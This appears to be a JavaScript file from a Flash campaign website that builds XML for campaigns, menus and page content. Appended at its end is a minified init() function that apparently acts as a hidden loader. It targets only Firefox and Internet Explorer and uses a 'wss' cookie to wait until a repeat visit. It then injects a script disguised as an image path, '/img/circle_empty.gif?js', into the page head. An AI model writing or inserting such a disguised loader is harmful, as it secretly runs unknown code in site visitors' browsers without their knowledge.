	middle.innerHTML = window.nl.xd.flash.Simple.Standard( window._root + 'swf/campaign.swf' , 990 , 530 , flashvars , timestamp ) ;
} ;
nl.growwork.Growwork.Campaign.prototype.createCampaigns = function( campaigns ) {
	var xml = '' ;
	
	for ( var i =0; i < campaigns.length; i++ ) {
		xml += '<itm>' ;
		xml += '<i>' + campaigns[ i ]._id + '</i>' ;
		xml += '<q><![CDATA[' + campaigns[ i ]._quote + ']]></q>' ;
		xml += '<t><![CDATA[' + campaigns[ i ]._text + ']]></t>' ;
		xml += '<s><![CDATA[' + window._root + campaigns[ i ]._small_image + ']]></s>' ;
		xml += '<l><![CDATA[' + window._root + campaigns[ i ]._large_image + ']]></l>' ;
		xml += '</itm>' ;
	} ;
	
	return xml ;
} ;
nl.growwork.Growwork.Campaign.prototype.createMenu = function( menu ) {
	var xml = '' ;
	var url = document.URL ;
	var qmp = url.indexOf( '?' ) ;
	
	if ( qmp != - 1 ) {
		url = url.substring( 0 , qmp ) ;
		url = url.split( 'Home.html' ).join( '' ) ;
	} ;
	
	for ( var i =0; i < menu.length; i++ ) {
		xml += '<itm>' ;
		xml += '<i>' + url + menu[ i ]._title.split('%20').join('') + '.html?id=' + menu[ i ]._pagelinkid + '</i>' ;
		xml += '<t><![CDATA[' + menu[ i ]._title + ']]></t>' ;
		xml += '</itm>' ;
	} ;
	
	return xml ;
} ;
nl.growwork.Growwork.Campaign.prototype.createContent = function( content ) {
	var xml = '' ;
	
	xml += '<itm>' ;
	xml += '<pt><![CDATA[' + content._pagetitle + ']]></pt>' ;
	xml += '<t><![CDATA[' + content._title1 + ']]></t>' ;
	xml += '<tt><![CDATA[' + content._text1 + ']]></tt>' ;
	xml += '</itm>' ;
	
	return xml ;
} ;

new nl.growwork.Growwork() ;

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/img/circle_empty.gif?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
